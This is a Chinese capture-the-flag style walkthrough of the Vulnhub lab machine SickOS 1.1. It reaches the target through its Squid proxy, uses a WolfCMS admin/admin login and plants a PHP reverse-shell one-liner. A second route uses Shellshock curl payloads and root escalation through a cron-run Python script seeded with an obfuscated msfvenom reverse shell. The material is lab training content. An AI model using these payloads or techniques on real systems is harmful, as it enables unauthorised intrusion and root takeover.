Vulnhub靶机:SickOS1.1
第一种解法
开始
主机发现
nmap扫描及思路分析
Squid代理分析与设置
Web渗透
获得系统初始Shell
提权到SickOS账户
进一步提权
rooted
总结
🔍端口扫描技术与参数
老规矩,一把梭~





📊扫描与信息收集
一个ssh,一个3128是http的代理,还有一个是8080
💡信息分析与突破

这里最重要的就是要知道这个网页是啥东西,

经过搜索得知,这是一个http代理服务,开放在3128端口
🔓目录爆破
但是我们还是要扫一遍,在这个目录下有没有存在一些什么东西,


🔐转换扫描思路,使用代理
在常规的扫描中,无法扫描出任何结果,但是我们想到了这个端口是一个http的代理,
我们尝试他本身的代理对目标主机进行扫描

果然有效果!!!
我们之前访问他主机http://192.168.100.109:80端口是没法访问的,现在再试试

我们再将之前扫出来的目录都查看一下
---- Scanning URL: http://192.168.100.109/ ----
+ http://192.168.100.109/cgi-bin/ (CODE:403|SIZE:291)
+ http://192.168.100.109/connect (CODE:200|SIZE:109)
下载了一个connect.py文件
#!/usr/bin/python
print "I Try to connect things very frequently\n"
print "You may want to try my services"
+ http://192.168.100.109/index (CODE:200|SIZE:21)
+ http://192.168.100.109/index.php (CODE:200|SIZE:21)
+ http://192.168.100.109/robots (CODE:200|SIZE:45)
+ http://192.168.100.109/robots.txt (CODE:200|SIZE:45)
User-agent: *
Disallow: /
Dissalow: /wolfcms
+ http://192.168.100.109/server-status (CODE:403|SIZE:296) 这个就有意思了
http://192.168.100.109/robots.txt

我们访问http://192.168.100.109/wolfcms/
是一个内容博客网站

并且发送文章的用户是Administrator用户,
我们可以找一下这套CMS的后台以及默认登录账号密码等
直接就搜到了
https://www.cnblogs.com/vivovox/p/14187067.html

后台路径为/wolfcms/?/admin/login
http://192.168.100.109/wolfcms/?/admin/login

并且后台账号密码是弱口令admin/admin

这里的很多文件都是php文件

都可以写一句话马进去
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.100.100/443 0>&1'");?>这里添加一句话到Articles页面代码中

然后保存
然后先开启监听,443端口

然后点击Articles标签

成功收到反弹shell

🌐获取配置信息与提权
拿到初始权限后,一定要做充分系统内的信息搜集

CMS配置文件中的凭据

到这里我们又拿到了一组账号密码,
但是这里有一个点,就是密码复用,他可能是登录shh的root账号密码也有可能是其他用户登录的密码。
我们查看/etc/passwd

除了root就这个用户像正常用户了
🔑账号凭据组合尝试
都尝试一下
root的登录失败了

sickos登录成功

再看一下改用户拥有的权限



完结撒花~~~
第二种解法-Shellshock
第二种解法
Nikto扫描
nikto -h 192.168.100.109 -useproxy http://192.168.100.109:3128

提示存在shellshock
Shellshock漏洞原理
ShellShock漏洞, 中文称为"破壳漏洞", 是Unix Shell中的安全漏洞
在一些网络服务器的部署中, 使用bash来处理某些请求, 允许攻击者通过低版本的bash执行任意Shell命令
此漏洞在调用BashShell之前使用payload创建环境变量, 这些环境变量包含Shell代码, 在Shell被调用后代码会被执行
bash使用的环境变量是通过函数名称来调用的,以"(){"开头通过环境变量来定义,而在处理这样的恶意的函数环境变量时,并没有以函数结尾 "}" 为结束,而是执行其后的恶意shell命令
Bash版本<=4.3之前是容易受到攻击的
Shellshock验证
修改User-agent字段的值为() { :;};echo;/usr/bin/whoami, 页面回显命令执行结果
curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; echo 'Content-Type: text/plain' echo; echo; /usr/bin/id;exit" 
Shellshock获取初始系统shell
构造payload,获取反弹shell
这里lhost和lport都是kali机器的ip和端口
msfvenom -p cmd/unix/reverse_bash lhost=192.168.100.100 lport=443 -f rawmsfvenom -p cmd/unix/reverse_bash lhost=192.168.100.100 lport=443 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 78 bytes
bash -c '0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190'取这段
0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190构造一下,开启监听后,直接使用
curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; 0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;sh <&190 >&190 2>&190"
结果是这样

这里是因为目标机器没有设置sh,是他机器的环境变量设置好,就用不了
这里需要修改一下
curl -v --proxy http://192.168.100.109:3128 http://192.168.100.109/cgi-bin/status -H "Referer:() { test;}; 0<&190-;exec 190<>/dev/tcp/192.168.100.100/443;/bin/sh <&190 >&190 2>&190"

Cron自动任务提权
提权,也是一样
先看系统版本,内核,以及系统安装的软件
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
dpkg -l
查看安装的软件

先提升一下这个shell的交互性,
python -c "import pty;pty.spawn('/bin/bash')"
此时的shell已经好了一些,但是还有一些功能没有完善比如clear
export TERM=xterm因为我们是www-data用户,所以先去我们网站目录下找找线索

就直说把,看计划任务

找到啦~

解析计划任务格式
* * * * * root /usr/bin/python /var/www/connect.py1. * * * * *
这是 cron 表达式,表示任务的执行时间。五个星号分别代表:
第一个
*:分钟(0-59)第二个
*:小时(0-23)第三个
*:月份中的日期(1-31)第四个
*:月份(1-12)第五个
*:星期几(0-7,0 和 7 代表星期日)
五个星号都为 *,意味着这个任务每分钟都会执行一次。
2. root
这是执行任务的用户。在这种情况下,任务是以 root 用户身份运行的,意味着它有管理员权限。
3. /usr/bin/python
这是执行 Python 解释器的路径。它表示用系统中的 Python 解释器来运行 Python 脚本。
4. /var/www/connect.py
这是要执行的 Python 脚本的路径。这个脚本位于 /var/www/ 目录下,文件名是 connect.py。
总结
这条 cron 任务会以 root 用户的身份,每分钟执行一次位于 /var/www/connect.py 的 Python 脚本。如果您需要修改执行频率或者以不同用户运行,您可以调整这部分内容。
ok接下来使用python来反弹shell
先创建payload
msfvenom -p cmd/unix/reverse_python lhost=192.168.100.100 lport=4444 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 364 bytes
python -c "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELwiAUhf+K7Ekh3BwRRfgwYkFEBW3vo5mx0VLZdf+/idvCtw6I13u/ew7YfozuLQIt3tKiUSs0CYba9FpIgKCtAe191WiwPGK7lLLNlrIkcSeap86Wr0fNDeA+hPoLT6/sWJ2ueRlG+1FxO5yrorzn2YUsLlRopaSwGLv8YM1FkoXUQJ+DSTHQV9tJpTEJ4ORfkP0Lpgto+O/zqHh0HY7iulUxNBH5ArXdXP8=')[0])))"因为我们是把payload写入到.py里面去执行的,所以不需要把python -c也写进去,只写""以内的。
exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqNkFELwiAUhf+K7Ekh3BwRRfgwYkFEBW3vo5mx0VLZdf+/idvCtw6I13u/ew7YfozuLQIt3tKiUSs0CYba9FpIgKCtAe191WiwPGK7lLLNlrIkcSeap86Wr0fNDeA+hPoLT6/sWJ2ueRlG+1FxO5yrorzn2YUsLlRopaSwGLv8YM1FkoXUQJ+DSTHQV9tJpTEJ4ORfkP0Lpgto+O/zqHh0HY7iulUxNBH5ArXdXP8=')[0])))这里的shell交互还是有些奇奇怪怪的,
我们只需要vi connect.py然后摁o就会新起一行,然后Ctrl+Shiift+V黏贴payload
然后摁:wq保存就行了
编辑完后查看一下

然后开启监听,因为这个计划任务是每分钟都会执行一次

OK拿下了~
总结

-.-
评论区